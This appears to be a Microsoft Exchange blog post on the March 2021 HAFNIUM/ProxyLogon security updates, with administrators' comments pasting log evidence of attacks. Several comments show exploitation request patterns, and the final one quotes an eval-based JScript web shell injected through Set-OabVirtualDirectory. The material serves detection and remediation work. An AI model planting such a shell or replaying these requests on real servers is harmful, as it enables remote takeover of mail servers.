Released: March 2021 Exchange Server Security Updates
Published Mar 02 2021 01:08 PM 1.1M Views

Note: this post is getting frequent updates; please keep checking back. Last update: 3/19/2021

Microsoft has released a set of out of band security updates for vulnerabilities for the following versions of Exchange Server:

  • Exchange Server 2013
  • Exchange Server 2016
  • Exchange Server 2019

Security updates are available for the following specific versions of Exchange:

IMPORTANT: If manually installing security updates, you must install .msp from elevated command prompt (see Known Issues in update KB articles)

Because we are aware of active exploits of related vulnerabilities in the wild (limited targeted attacks), our recommendation is to install these updates immediately to protect against these attacks.

The vulnerabilities affect Microsoft Exchange Server. Exchange Online is not affected.

For more information, please see the Microsoft Security Response Center (MSRC) blog.

For technical details of these exploits and how to help with detection, please see HAFNIUM Targeting Exchange Servers. There is a scripted version of this check available on GitHub here.

 

Mitigations, investigation and remediation:

Are there any mitigations I can implement right now?

MSRC team has released a One-Click Microsoft Exchange On-Premises Mitigation Tool (EOMT). The MSTIC blog post called Microsoft Exchange Server Vulnerabilities Mitigations – March 2021 can help understand individual mitigation actions. A stand-alone ExchangeMitigations.ps1 script is also available.

How can I tell if my servers have already been compromised?

Information on Indicators of Compromise (IOCs) – such as what to search for, and how to find evidence of successful exploitation (if it happened), can be found in HAFNIUM Targeting Exchange Servers. There is a scripted version of this available on GitHub here.

More information about investigations

To aid defenders in investigating these attacks where Microsoft security products and tooling may not be deployed, we are releasing a feed of observed indicators of compromise (IOCs). The feed of malware hashes and known malicious file paths observed in related attacks is available in both JSON and CSV formats at the below GitHub links. This information is being shared as TLP:WHITE. CSV format and JSON format are available. 

What about remediation?

MSTIC team has (on March 6th) updated their blog post Microsoft Exchange Server Vulnerabilities Mitigations – March 2021 to include information about Microsoft Support Emergency Response Tool (MSERT) having been updated to scan Microsoft Exchange Server. Please download a new copy of MSERT often, as updates are made in the tool regularly! Please also see MSRC Guidance for responders: Investigating and remediating on-premises Exchange Server vulnerabilities.

 

Installing and troubleshooting updates:

Does installing the March Security Updates require my servers to be up to date?

Today we shipped Security Update (SU) fixes. These fixes can be installed only on servers that are running the specific versions listed previously, which are considered up to date. If your servers are running older Exchange Server cumulative or rollup update, we recommend to install a currently supported RU/CU before you install the security updates. If you are unable to get updated quickly, please see March 2021 Exchange Server Security Updates for older Cumulative Updates of Exchange Server.

How can I get an inventory of the update-level status of my on-premises Exchange servers?

You can use the Exchange Server Health Checker script, which can be downloaded from GitHub (use the latest release). Running this script will tell you if you are behind on your on-premises Exchange Server updates (note that the script does not support Exchange Server 2010).

Which of my servers should I update first?

Exploitation of the security vulnerabilities addressed in these fixes requires HTTPS access over the Internet. Therefore, our recommendation is to install the security updates first on Exchange servers exposed/published to the Internet (e.g., servers publishing Outlook on the web/OWA and ECP) and then update the rest of your environment.

Will the installation of the Security Updates take as long as installing an RU/CU?

Installation of Security Updates does not take as long as installing a CU or RU, but you will need to plan for some downtime.

My organization needs to 'get current' first... we need to apply a Cumulative Update. Any tips for us?

Please see the Upgrade Exchange to the latest Cumulative Update article for best practices when installing Exchange Cumulative Updates. To ensure the easiest upgrade experience (and because in many organizations Exchange and Active Directory roles are separate) you might wish to run /PrepareAD (in the Active Directory site that Exchange is a member of) before running the actual CU Setup. You can use this document as a guide to understand what you might have to do.

Errors during or after Security Update installation! Help!

It is extremely important to read the Known Issues section in the Security Update KB article (here and here depending on the version). If installing the update manually, you must run the update from the elevated command prompt. If you are seeing unexpected behavior, check the article addressing troubleshooting failed installations of Exchange security updates (we will keep updating this article).

 

Additional Q&A:

Are there any other resources that you can recommend?

Microsoft Defender Security Research Team has published a related blog post called Defending Exchange servers under attack which can help you understand some general practices around detection of malicious activity on your Exchange servers and help improve your security posture.

My organization is in Hybrid with Exchange Online. Do I need to do anything?

While those security updates do not apply to Exchange Online / Office 365, you need to apply those Security Updates to your on-premises Exchange Server, even if it is used for management purposes only. You do not need to re-run HCW if you are using it.

Do we need to install those updates on Management Tools only workstations or servers?

Machines with Management Tools only are not impacted (there are no Exchange services installed) and do not require installation of March SUs. Please note that a 'management server' which many of our Hybrid customers have (which is an Exchange server kept on premises to be able to run Exchange management tasks) is different. For Hybrid, please see the Hybrid question above.

The last Exchange 2016 and Exchange 2019 CU’s were released in December of 2020. Are new CU’s releasing in March 2021?

EDIT: Exchange Server 2016 CU 20 and Exchange Server 2019 CU 9 are now released and those CUs contain the Security Updates mentioned here (along with other fixes). Customers who have installed SUs for older E2016/2019 CUs can simply update to new CUs and will stay protected.

Are Exchange Server 2003 and Exchange Server 2007 vulnerable to March 2021 Exchange server security vulnerabilities?

No. After performing code reviews, we can state that the code involved in the attack chain to begin (CVE-2021-26855) was not in the product before Exchange Server 2013. Exchange 2007 includes the UM service, but it doesn’t include the code that made Exchange Server 2010 vulnerable. Exchange 2003 does not include the UM service.

 

Major updates to this post:

The Exchange Team

293 Comments
Copper Contributor

Hi, we are running exchange 2013 CU4.  Can we do direct upgrade to CU 23?  thanks.

Microsoft

@Arūnas Malūkas and @Jan_Gross - this is a cause for concern; this indicates that someone has tried to use the exploit. Not that they succeeded, but they tried.

Microsoft

@itsupport-bhms As far as Exchange is concerned, yes you can go from CU4 to CU23. You will have to do prep, though: you will need to extend the schema, run /adprep. You will likely need to update .NET framework and possibly some other dependencies. Please run the Health Checker script, it will give you an idea. PLEASE make sure that you are running updates from elevated CMD prompt (especially security updates) - as best practices for installing Exchange updates say: Upgrade Exchange to the latest Cumulative Update | Microsoft Docs

Copper Contributor

We have the fix installed.

 

I tried to search some artefacts of success attack on the filesystem more that 8 hours, but I didn't find anything.

Thank you for the confirmation.

 

Jan

Copper Contributor

The following note on the update site is incorrect. The issue with the ECP/OWA not working when the update is installed with Microsoft Update is incorrect. It broke the OWA/ECP for both our Exchange 2013 servers as well as our Exchange 2019 Servers. We had to manually uninstall the KB5000871 and reinstall with the elevated command prompt to get the OWA/ECP working once more.

 

 

https://support.microsoft.com/en-us/topic/description-of-the-security-update-for-microsoft-exchange-...

Note: This issue does not occur if you install the update through Microsoft Update.  - Installing through microsoft update did indeed cause the issue in our case.

Copper Contributor

@The_Exchange_Team 

 

When running the Check Compromise script, we get an error:

 

WARNING: One or more headers were not specified. Default names starting with "H" have been used in place of any missing headers.

 

Is this something that can be ignored?  Thanks in advance for your help.

Copper Contributor

Thank everyone for all the help and information this blog has been invaluable!  I would love to hear what people are doing for remediation thus far Defender manual full file scans seems to be doing OK but we have not had enough time yet to crosscheck other scanners.

 

Just a few of our observations:

 

-This is not nearly as limited or targeted as the security bulletin makes it sound. We are seeing about a 40% infection rate among our SMB client base.  I see no reason not to believe 40% of every exchange server in the world was hit.

 

-If you are seeing ANY suspicious activity with the Hafnium PS check script INCLUDING the SERVERNAME.company.com:444/autodiscover port 444 event; the server is has probably already been backdoored.  It has not had a single false positive yet for us with the exception if a few known safe ZIP files in the programdata folder.

 

-We have one server that we have confirmed infected going back to 2/27/2021...  Before the public disclosure.

 

-Most infection happened with a single incident in the very early morning US hours

 

-If you remove the backdoor before installing updates hackers will attempt reinfect the server regularly.  I suspect that they have an automated check to try to re-infect previously infected hosts. The best way we have found is to disable incoming HTTP/S until the server is updated and cleaned

 

 

 

Copper Contributor

Greetings Community,

I installed the patch on an Exchange 2016 CU19 Server. I used an elevated command prompt running in the Administrator context to execute the installation package Exchange2016-KB5000871-x64-en.msp. This resulted in no reported errors during installation.

However, post installation reboot, the Exchange Transport Service will not start, And that is where I have been stuck for the past 24 hours. Interestingly I don't appear to have any issues accessing ECP or OWA. An attempt to manually start the Transport Service, results in it stopping a few moments later. In addition to this The Edgesync and Notifications Broker services also fail to start.

The MSP hasn't created an entry in the Programs/Apps and Features control panel so there is nothing to uninstall, and I have tried to re-install the Exchange2016-KB5000871-x64-en patch too. I have considered simply re-installing CU19, however any attempt to do so results in an error message informing me that the system does not have sufficient permissions to access the installation folder. If I manually browse to the folder and run the setup.exe contained there, it simply does nothing....

I am at a loss as to how to proceed....

Copper Contributor

although CU8 was installed for the 2019...

reinstalling CU8 did the trick and then I could update

Copper Contributor

Wow what a day! 

Running Exchange 2013 SP1(CU4) going straight to CU23. 

Ran the CU23 update and it crashed on 2007 Exchange anti-spam hygiene\ASDat.msi.  Found this link ASDat.msi error 

Run these commands to get past this error.

msiexec /i "C:\Program Files\Microsoft\Exchange Server\V15\TransportRoles\agents\Hygiene\ASDat.MSI" REINSTALLMODE=vomus

msiexec /i "C:\Program Files\Microsoft\Exchange Server\V15\TransportRoles\agents\Hygiene\ASEntIRS.MSI" REINSTALLMODE=vomus

msiexec /i "C:\Program Files\Microsoft\Exchange Server\V15\TransportRoles\agents\Hygiene\ASEntSig.MSI" REINSTALLMODE=vomus

 

Then try CU23 again.  I had some DNS issues (seems like there are always those!)  Worked those bugs out.

 

Then try CU23 again.  Error with MSExchangeHost service not stopping/restarting. 

See this link PS Script MSExchangeHost service to get past that.  (A PS script that loops stopping the ExchangeHost)

 

Then try CU23 again.  Then I started having all these errors over and over again for missing ps1 scripts.  I just found the name of script in the CU23 extracted files and pasted into the c:\Program Files\Microsoft\Exchange Server\V15\Scripts directory.  Unfortunately, I had to do this several times to get all the missing *.ps1 scripts.  i.e. error  $RoleInstallPath\Scripts\ConfigureNetworkProtocolParameters.ps1"  

 

Then try CU23 again.  Then I had a bunch of other *.msi files it wanted to reference.  i.e. MSSpeech_SR_TELE.ca-ES.msi  (Copy them all MSSpeech*.msi)

See this link Language Packs on how to find them.  Once again, you will find them in the extracted CU23 files.  There was a lot of them.  Copy and pasted files in the C:\Program Files\Microsoft\Exchange Server\V15\bin\Setup\ServerRoles\UnifiedMessaging\ directory.  I was able to do those as I went through install one by one without having to restart CU23 each time.

 

Eventually it did finish.  Then I ran Windows Update to get the patch for CU23 to prevent the Hefnium(sp) hack.  

14 hours later, I'm done.  I hope this helps somebody!

 

Copper Contributor

Hi, here is attack log. What I now to do? I control with curently publicated information, not found any archive or script

 

#TYPE Selected.System.Management.Automation.PSCustomObject
"DateTime","AnchorMailbox"
"2021-03-03T07:43:37.416Z","ServerInfo~a]@ex2019.domain.local:444/autodiscover/autodiscover.xml?#"
"2021-03-03T11:14:38.255Z","ServerInfo~a]@ex2019.domain.local:444/autodiscover/autodiscover.xml?#"
"2021-03-03T18:43:54.957Z","ServerInfo~a]@ex2019.domain.local:444/autodiscover/autodiscover.xml?#"
"2021-03-03T18:43:58.072Z","ServerInfo~a]@ex2019.domain.local:444/mapi/emsmdb/?#"
"2021-03-03T18:44:00.546Z","ServerInfo~a]@ex2019.domain.local:444/ecp/proxyLogon.ecp?#"
"2021-03-03T18:44:05.234Z","ServerInfo~a]@ex2019.domain.local:444/ecp/DDI/DDIService.svc/GetObject?msExchEcpCanary=l3mng5BhgE27lLb8pfN-8keyXaQG4NgI7Wk8NusQWN3mijMOgThHZHaHLhXYwJvhwktqCf3Ltao.&schema=OABVirtualDirectory#"
"2021-03-04T16:16:25.344Z","ServerInfo~a]@ex2019.domain.local:444/autodiscover/autodiscover.xml?#"
"2021-03-04T16:16:25.582Z","ServerInfo~a]@ex2019.domain.local:444/mapi/emsmdb/?#"
"2021-03-04T16:16:25.980Z","ServerInfo~a]@ex2019.domain.local:444/ecp/proxyLogon.ecp?#"
"2021-03-04T16:16:27.616Z","ServerInfo~a]@ex2019.domain.local:444/ecp/DDI/DDIService.svc/GetList?msExchEcpCanary=nUsyROhtHEmkUobXEe5RMAbiDjG74NgI0VFvoXVJFo5jQljl8kGbbm2LxVSeznE_-LKDop7nxbQ.&schema=VirtualDirectory#"
"2021-03-04T16:16:30.779Z","ServerInfo~a]@ex2019.domain.local:444/ecp/DDI/DDIService.svc/SetObject?msExchEcpCanary=nUsyROhtHEmkUobXEe5RMAbiDjG74NgI0VFvoXVJFo5jQljl8kGbbm2LxVSeznE_-LKDop7nxbQ.&schema=OABVirtualDirectory#"
"2021-03-04T16:16:30.968Z","ServerInfo~a]@ex2019.domain.local:444/ecp/DDI/DDIService.svc/SetObject?msExchEcpCanary=nUsyROhtHEmkUobXEe5RMAbiDjG74NgI0VFvoXVJFo5jQljl8kGbbm2LxVSeznE_-LKDop7nxbQ.&schema=ResetOABVirtualDirectory#"
"2021-03-04T16:16:32.051Z","ServerInfo~a]@ex2019.domain.local:444/ecp/DDI/DDIService.svc/SetObject?msExchEcpCanary=nUsyROhtHEmkUobXEe5RMAbiDjG74NgI0VFvoXVJFo5jQljl8kGbbm2LxVSeznE_-LKDop7nxbQ.&schema=OABVirtualDirectory#"

Copper Contributor

Hi all. Tough week!

 

So we only have 1 Ex2010 SP3 server (I know, I know....). I installed the updated for it without issue via Windows Update and rebooted all fine, emails all sending/receiving fine.

 

Only thing I've found is since doing so I can't seem to set up a new Outlook profile on an external laptop (home based, not on the in-office LAN). Did so fine last Monday, can't seem to now. Get the message saying it couldn't connect with an encrypted connection and then it also fails on an encrypted one. Weirdly though, an existing Outlook profile on an external machine connects fine. It seems to be setting up a new one it doesn't like!

 

Thoughts? (Besides move on from 2020....)

 

Thanks

Copper Contributor

@GeekSpazPrepareSchema and PrepareDomain/PrepareAllDomains commands ran successfully (ADSIedit: No change in Schema rangeUpper attribute as it stayed on 15312, objVersion updated to 13237 from 13236 in MS Exchange System Objects properties, However objectVersion in Organization Name's properties still NOT updated to 16133 from 16131). The setup.exe /PrepareAD /IAcceptExchangeServerLicenseTerms command fails with error. Please guide;

 

PrepareAD_Error.jpg

Copper Contributor

For me it would be also interessting to know what we can / should do if comprimised, is it enough to install only these patches and recheck after a few hours ? I have one customer with such log entry's, dont look good:

 

#TYPE Selected.System.Management.Automation.PSCustomObject
"DateTime","AnchorMailbox"
"2021-03-03T05:11:55.285Z","ServerInfo~a]@D01-STG-V-WS025.company.local:444/autodiscover/autodiscover.xml?#"
"2021-03-03T07:22:24.144Z","ServerInfo~a]@D01-STG-V-WS025.company.local:444/autodiscover/autodiscover.xml?#"
"2021-03-03T07:57:42.685Z","ServerInfo~a]@D01-STG-V-WS025.company.local:444/autodiscover/autodiscover.xml?#"
"2021-03-03T10:57:22.102Z","ServerInfo~a]@D01-STG-V-WS025.company.local:444/autodiscover/autodiscover.xml?#"
"2021-03-03T11:26:03.441Z","ServerInfo~a]@D01-STG-V-WS025.company.local:444/autodiscover/autodiscover.xml?#"
"2021-03-05T10:32:23.001Z","ServerInfo~akak]@D01-STG-V-WS025.company.local:444/autodiscover/autodiscover.xml?#"
"2021-03-05T10:32:24.143Z","ServerInfo~akak]@D01-STG-V-WS025.company.local:444/mapi/emsmdb/?#"
"2021-03-05T10:32:25.472Z","ServerInfo~akak]@D01-STG-V-WS025.company.local:444/ecp/proxyLogon.ecp?#"
"2021-03-05T10:32:30.817Z","ServerInfo~akak]@D01-STG-V-WS025.company.local:444/ecp/DDI/DDIService.svc/GetList?msExchEcpCanary=Z4jtfAbrkUGSYKN6n1QdFxs7yUxU4dgIUI7yElVTAFoBPCtWwkEr6nJ7L_lcAhpi0Uxxb4p_JiY.&schema=VirtualDirectory#"
"2021-03-05T10:32:32.061Z","ServerInfo~akak]@D01-STG-V-WS025.company.local:444/ecp/DDI/DDIService.svc/SetObject?msExchEcpCanary=Z4jtfAbrkUGSYKN6n1QdFxs7yUxU4dgIUI7yElVTAFoBPCtWwkEr6nJ7L_lcAhpi0Uxxb4p_JiY.&schema=OABVirtualDirectory#"
"2021-03-05T10:32:33.198Z","ServerInfo~akak]@D01-STG-V-WS025.company.local:444/ecp/DDI/DDIService.svc/SetObject?msExchEcpCanary=Z4jtfAbrkUGSYKN6n1QdFxs7yUxU4dgIUI7yElVTAFoBPCtWwkEr6nJ7L_lcAhpi0Uxxb4p_JiY.&schema=ResetOABVirtualDirectory#"
"2021-03-05T10:32:34.352Z","ServerInfo~akak]@D01-STG-V-WS025.company.local:444/ecp/DDI/DDIService.svc/SetObject?msExchEcpCanary=Z4jtfAbrkUGSYKN6n1QdFxs7yUxU4dgIUI7yElVTAFoBPCtWwkEr6nJ7L_lcAhpi0Uxxb4p_JiY.&schema=OABVirtualDirectory#"
"2021-03-05T10:32:35.483Z","ServerInfo~akak]@D01-STG-V-WS025.company.local:444/ecp/DDI/DDIService.svc/SetObject?msExchEcpCanary=Z4jtfAbrkUGSYKN6n1QdFxs7yUxU4dgIUI7yElVTAFoBPCtWwkEr6nJ7L_lcAhpi0Uxxb4p_JiY.&schema=OABVirtualDirectory#"
"2021-03-05T10:32:36.572Z","ServerInfo~akak]@D01-STG-V-WS025.company.local:444/ecp/DDI/DDIService.svc/SetObject?msExchEcpCanary=Z4jtfAbrkUGSYKN6n1QdFxs7yUxU4dgIUI7yElVTAFoBPCtWwkEr6nJ7L_lcAhpi0Uxxb4p_JiY.&schema=ResetOABVirtualDirectory#"
"2021-03-05T10:32:37.679Z","ServerInfo~akak]@D01-STG-V-WS025.company.local:444/ecp/DDI/DDIService.svc/SetObject?msExchEcpCanary=Z4jtfAbrkUGSYKN6n1QdFxs7yUxU4dgIUI7yElVTAFoBPCtWwkEr6nJ7L_lcAhpi0Uxxb4p_JiY.&schema=OABVirtualDirectory#"
"2021-03-05T10:32:38.817Z","ServerInfo~akak]@D01-STG-V-WS025.company.local:444/ecp/DDI/DDIService.svc/SetObject?msExchEcpCanary=Z4jtfAbrkUGSYKN6n1QdFxs7yUxU4dgIUI7yElVTAFoBPCtWwkEr6nJ7L_lcAhpi0Uxxb4p_JiY.&schema=OABVirtualDirectory#"
"2021-03-05T10:32:39.937Z","ServerInfo~akak]@D01-STG-V-WS025.company.local:444/ecp/DDI/DDIService.svc/SetObject?msExchEcpCanary=Z4jtfAbrkUGSYKN6n1QdFxs7yUxU4dgIUI7yElVTAFoBPCtWwkEr6nJ7L_lcAhpi0Uxxb4p_JiY.&schema=ResetOABVirtualDirectory#"
"2021-03-05T10:32:41.158Z","ServerInfo~akak]@D01-STG-V-WS025.company.local:444/ecp/DDI/DDIService.svc/SetObject?msExchEcpCanary=Z4jtfAbrkUGSYKN6n1QdFxs7yUxU4dgIUI7yElVTAFoBPCtWwkEr6nJ7L_lcAhpi0Uxxb4p_JiY.&schema=OABVirtualDirectory#"
"2021-03-05T10:32:42.853Z","ServerInfo~akak]@D01-STG-V-WS025.company.local:444/ecp/DDI/DDIService.svc/SetObject?msExchEcpCanary=Z4jtfAbrkUGSYKN6n1QdFxs7yUxU4dgIUI7yElVTAFoBPCtWwkEr6nJ7L_lcAhpi0Uxxb4p_JiY.&schema=OABVirtualDirectory#"
"2021-03-05T10:32:43.999Z","ServerInfo~akak]@D01-STG-V-WS025.company.local:444/ecp/DDI/DDIService.svc/SetObject?msExchEcpCanary=Z4jtfAbrkUGSYKN6n1QdFxs7yUxU4dgIUI7yElVTAFoBPCtWwkEr6nJ7L_lcAhpi0Uxxb4p_JiY.&schema=ResetOABVirtualDirectory#"
"2021-03-05T10:32:45.309Z","ServerInfo~akak]@D01-STG-V-WS025.company.local:444/ecp/DDI/DDIService.svc/SetObject?msExchEcpCanary=Z4jtfAbrkUGSYKN6n1QdFxs7yUxU4dgIUI7yElVTAFoBPCtWwkEr6nJ7L_lcAhpi0Uxxb4p_JiY.&schema=OABVirtualDirectory#"
"2021-03-05T10:32:46.424Z","ServerInfo~akak]@D01-STG-V-WS025.company.local:444/ecp/DDI/DDIService.svc/SetObject?msExchEcpCanary=Z4jtfAbrkUGSYKN6n1QdFxs7yUxU4dgIUI7yElVTAFoBPCtWwkEr6nJ7L_lcAhpi0Uxxb4p_JiY.&schema=OABVirtualDirectory#"
"2021-03-05T10:32:47.551Z","ServerInfo~akak]@D01-STG-V-WS025.company.local:444/ecp/DDI/DDIService.svc/SetObject?msExchEcpCanary=Z4jtfAbrkUGSYKN6n1QdFxs7yUxU4dgIUI7yElVTAFoBPCtWwkEr6nJ7L_lcAhpi0Uxxb4p_JiY.&schema=ResetOABVirtualDirectory#"
"2021-03-05T10:32:48.664Z","ServerInfo~akak]@D01-STG-V-WS025.company.local:444/ecp/DDI/DDIService.svc/SetObject?msExchEcpCanary=Z4jtfAbrkUGSYKN6n1QdFxs7yUxU4dgIUI7yElVTAFoBPCtWwkEr6nJ7L_lcAhpi0Uxxb4p_JiY.&schema=OABVirtualDirectory#"
"2021-03-05T10:32:49.788Z","ServerInfo~akak]@D01-STG-V-WS025.company.local:444/ecp/DDI/DDIService.svc/SetObject?msExchEcpCanary=Z4jtfAbrkUGSYKN6n1QdFxs7yUxU4dgIUI7yElVTAFoBPCtWwkEr6nJ7L_lcAhpi0Uxxb4p_JiY.&schema=OABVirtualDirectory#"
"2021-03-05T10:32:50.921Z","ServerInfo~akak]@D01-STG-V-WS025.company.local:444/ecp/DDI/DDIService.svc/SetObject?msExchEcpCanary=Z4jtfAbrkUGSYKN6n1QdFxs7yUxU4dgIUI7yElVTAFoBPCtWwkEr6nJ7L_lcAhpi0Uxxb4p_JiY.&schema=ResetOABVirtualDirectory#"
"2021-03-05T10:32:52.021Z","ServerInfo~akak]@D01-STG-V-WS025.company.local:444/ecp/DDI/DDIService.svc/SetObject?msExchEcpCanary=Z4jtfAbrkUGSYKN6n1QdFxs7yUxU4dgIUI7yElVTAFoBPCtWwkEr6nJ7L_lcAhpi0Uxxb4p_JiY.&schema=OABVirtualDirectory#"
"2021-03-05T10:32:53.122Z","ServerInfo~akak]@D01-STG-V-WS025.company.local:444/ecp/DDI/DDIService.svc/SetObject?msExchEcpCanary=Z4jtfAbrkUGSYKN6n1QdFxs7yUxU4dgIUI7yElVTAFoBPCtWwkEr6nJ7L_lcAhpi0Uxxb4p_JiY.&schema=OABVirtualDirectory#"
"2021-03-05T10:32:54.237Z","ServerInfo~akak]@D01-STG-V-WS025.company.local:444/ecp/DDI/DDIService.svc/SetObject?msExchEcpCanary=Z4jtfAbrkUGSYKN6n1QdFxs7yUxU4dgIUI7yElVTAFoBPCtWwkEr6nJ7L_lcAhpi0Uxxb4p_JiY.&schema=ResetOABVirtualDirectory#"
"2021-03-05T10:32:55.378Z","ServerInfo~akak]@D01-STG-V-WS025.company.local:444/ecp/DDI/DDIService.svc/SetObject?msExchEcpCanary=Z4jtfAbrkUGSYKN6n1QdFxs7yUxU4dgIUI7yElVTAFoBPCtWwkEr6nJ7L_lcAhpi0Uxxb4p_JiY.&schema=OABVirtualDirectory#"
"2021-03-05T10:32:56.484Z","ServerInfo~akak]@D01-STG-V-WS025.company.local:444/ecp/DDI/DDIService.svc/SetObject?msExchEcpCanary=Z4jtfAbrkUGSYKN6n1QdFxs7yUxU4dgIUI7yElVTAFoBPCtWwkEr6nJ7L_lcAhpi0Uxxb4p_JiY.&schema=OABVirtualDirectory#"
"2021-03-05T10:32:57.590Z","ServerInfo~akak]@D01-STG-V-WS025.company.local:444/ecp/DDI/DDIService.svc/SetObject?msExchEcpCanary=Z4jtfAbrkUGSYKN6n1QdFxs7yUxU4dgIUI7yElVTAFoBPCtWwkEr6nJ7L_lcAhpi0Uxxb4p_JiY.&schema=ResetOABVirtualDirectory#"
"2021-03-05T10:32:58.720Z","ServerInfo~akak]@D01-STG-V-WS025.company.local:444/ecp/DDI/DDIService.svc/SetObject?msExchEcpCanary=Z4jtfAbrkUGSYKN6n1QdFxs7yUxU4dgIUI7yElVTAFoBPCtWwkEr6nJ7L_lcAhpi0Uxxb4p_JiY.&schema=OABVirtualDirectory#"

Copper Contributor

Hi guys,

i found one of my customer with same situation

 

 

#TYPE Selected.System.Management.Automation.PSCustomObject
"DateTime","AnchorMailbox"
"2021-03-03T05:00:33.539Z","ServerInfo~a]@srv-exchange2k16.customername.com:444/autodiscover/autodiscover.xml?#"
"2021-03-03T05:00:34.007Z","ServerInfo~a]@srv-exchange2k16.customername.com:444/mapi/emsmdb/?#"
"2021-03-03T05:00:34.742Z","ServerInfo~a]@srv-exchange2k16.customername.com:444/ecp/proxyLogon.ecp?#"
"2021-03-03T05:00:44.913Z","ServerInfo~a]@srv-exchange2k16.customername.com:444/ecp/DDI/DDIService.svc/GetObject?msExchEcpCanary=_HV0lDB_ikOmpsnbVQiNVJaeO5yT39gIITw_5BLa-uTGkojJayHwv8G5xIJlVuvJ85yYqzJPOv8.&schema=OABVirtualDirectory#"
"2021-03-03T05:00:47.162Z","ServerInfo~a]@srv-exchange2k16.customername.com:444/ecp/DDI/DDIService.svc/SetObject?msExchEcpCanary=_HV0lDB_ikOmpsnbVQiNVJaeO5yT39gIITw_5BLa-uTGkojJayHwv8G5xIJlVuvJ85yYqzJPOv8.&schema=OABVirtualDirectory#"
"2021-03-03T05:00:47.349Z","ServerInfo~a]@srv-exchange2k16.customername.com:444/ecp/DDI/DDIService.svc/SetObject?msExchEcpCanary=_HV0lDB_ikOmpsnbVQiNVJaeO5yT39gIITw_5BLa-uTGkojJayHwv8G5xIJlVuvJ85yYqzJPOv8.&schema=ResetOABVirtualDirectory#"
"2021-03-03T05:00:48.162Z","ServerInfo~a]@srv-exchange2k16.customername.com:444/ecp/DDI/DDIService.svc/SetObject?msExchEcpCanary=_HV0lDB_ikOmpsnbVQiNVJaeO5yT39gIITw_5BLa-uTGkojJayHwv8G5xIJlVuvJ85yYqzJPOv8.&schema=OABVirtualDirectory#"
"2021-03-03T07:18:59.052Z","ServerInfo~a]@srv-exchange2k16.customername.com:444/autodiscover/autodiscover.xml?#"
"2021-03-03T07:19:00.145Z","ServerInfo~a]@srv-exchange2k16.customername.com:444/mapi/emsmdb/?#"
"2021-03-03T07:19:02.723Z","ServerInfo~a]@srv-exchange2k16.customername.com:444/ecp/proxyLogon.ecp?#"
"2021-03-03T07:19:05.020Z","ServerInfo~a]@srv-exchange2k16.customername.com:444/ecp/DDI/DDIService.svc/GetObject?msExchEcpCanary=K4280YIeEEqQDGwcVzoxf4YDLfSm39gI-WBR0LKXv_hbE9VqpYK2K7mnT38YkPy1bgDz8qWg60M.&schema=OABVirtualDirectory#"
"2021-03-03T07:19:06.379Z","ServerInfo~a]@srv-exchange2k16.customername.com:444/ecp/DDI/DDIService.svc/SetObject?msExchEcpCanary=K4280YIeEEqQDGwcVzoxf4YDLfSm39gI-WBR0LKXv_hbE9VqpYK2K7mnT38YkPy1bgDz8qWg60M.&schema=OABVirtualDirectory#"
"2021-03-03T07:19:07.301Z","ServerInfo~a]@srv-exchange2k16.customername.com:444/ecp/DDI/DDIService.svc/SetObject?msExchEcpCanary=K4280YIeEEqQDGwcVzoxf4YDLfSm39gI-WBR0LKXv_hbE9VqpYK2K7mnT38YkPy1bgDz8qWg60M.&schema=ResetOABVirtualDirectory#"
"2021-03-03T07:19:08.707Z","ServerInfo~a]@srv-exchange2k16.customername.com:444/ecp/DDI/DDIService.svc/SetObject?msExchEcpCanary=K4280YIeEEqQDGwcVzoxf4YDLfSm39gI-WBR0LKXv_hbE9VqpYK2K7mnT38YkPy1bgDz8qWg60M.&schema=OABVirtualDirectory#"
"2021-03-04T01:23:11.324Z","ServerInfo~a]@srv-exchange2k16.customername.com:444/autodiscover/autodiscover.xml?#"

 

In this case i found also file (discover.aspx) in the wwroot of inet pub folder but the Sophos Antivirus deleted it.

 

Ok for putting CU19 but how can I fix compromised server ?

 

Best regards

 

Copper Contributor

We have Exchange 2016 DAG, CU 19, after installing the security update on the passive server and reboot, the server Content Index failed, does any one see this? I still have the Active server healthy, but I'm not sure about fixing this issue now, I was thinking to reseed the Content Index from the healthy copy, any thoughts? Thanks

Copper Contributor

@The_Exchange_Team 

 

In response to the questions about finding evidence in the logs of attempts to exploit the vulnerability on 444 (autodiscover in my case), what is the next step?  Is this only evidence that someone tried?  Or, are there additional steps that need to be taken to ensure that my servers have not been compromised?

bgg_26_0-1614951639672.png

Below are the entries that I have found on my servers.

bgg_26_1-1614951781392.png

 

Thank you for your assistance.

 

Copper Contributor

I'm in the same boat. Had 2 entries in the Program Files\Microsoft\Exchange Server\V15\Logging\HttpProxy\Ecp with anchor mailbox pointing to autodiscover.

 

Looking in the corresponding Autodiscover log in Program Files\Microsoft\Exchange Server\V15\Logging\Autodiscover based on the time/RequestID, I see they tried to access administrator@ourdomain.com which doesn't exist.

 

Since all the other tests came up clean, I am also leaning towards we were not compromised and dodged a bullet.

Does that sound right to anyone else?

Microsoft

@David485 @reaper111 @mark46forever @bgg_26 @JoRe_LAG 

If you have ran the HAFNIUM detection commands or a script (we suggest the script to help get you a more comprehensive view of IOCs) and have seen entries similar to the following:

 

"DATETIME","ServerInfo~a]@SERVERNAME.company.com:444/autodiscover/autodiscover.xml?#"

 

This is an indication of ‘probing’ the server for this vulnerability, not an indication of actual compromise; you will have to correlate this with activities from other server logs and look for evidence of files that might have been left on the server to confirm if the server has actually been compromised. The above by itself does not indicate compromise has happened but it does indicate that someone was looking to.

Copper Contributor

@The_Exchange_Team 

@Nino Bilic 

 

When running the Check Compromise script, we get an error:

 

WARNING: One or more headers were not specified. Default names starting with "H" have been used in place of any missing headers.

 

Is this something that can be ignored?  Thanks in advance for your help.

Microsoft

@jimmygrec 

The thing to realize is that when vulnerabilities were publicly disclosed, others (not just HAFNIUM) had the necessary knowledge to start exploiting the vulnerabilities. Based on what I have seen, vast majority of entries in logs that I have seen are from the day of disclosure and later (vs. earlier, which would be a stronger indication of HAFNIUM related activity). As it usually happens with those things, when vulnerabilities get disclosed, all kinds of other actors jump in and start exploiting the vulnerability.

And this is why we are urging folks to update immediately and not wait for anything. Update now, ask questions later. Don't even search the logs; update and then search the logs. Updating will not wipe the logs.

Copper Contributor

@Nino Bilic : Thank you for the info, so these logs are just "probing" On another customer we see now suspicus infos like: 

CMD=Set-OabVirtualDirectory.ExternalUrl=''http://f/<script language=""JScript"" runat=""server"">function Page_Load(){eval(System.Text.Encoding.UTF8.GetString(System.Convert.FromBase64String(Request.Item[""830facc6b73b8d3861449873c9632176""])),""unsafe"");}</script>'
 
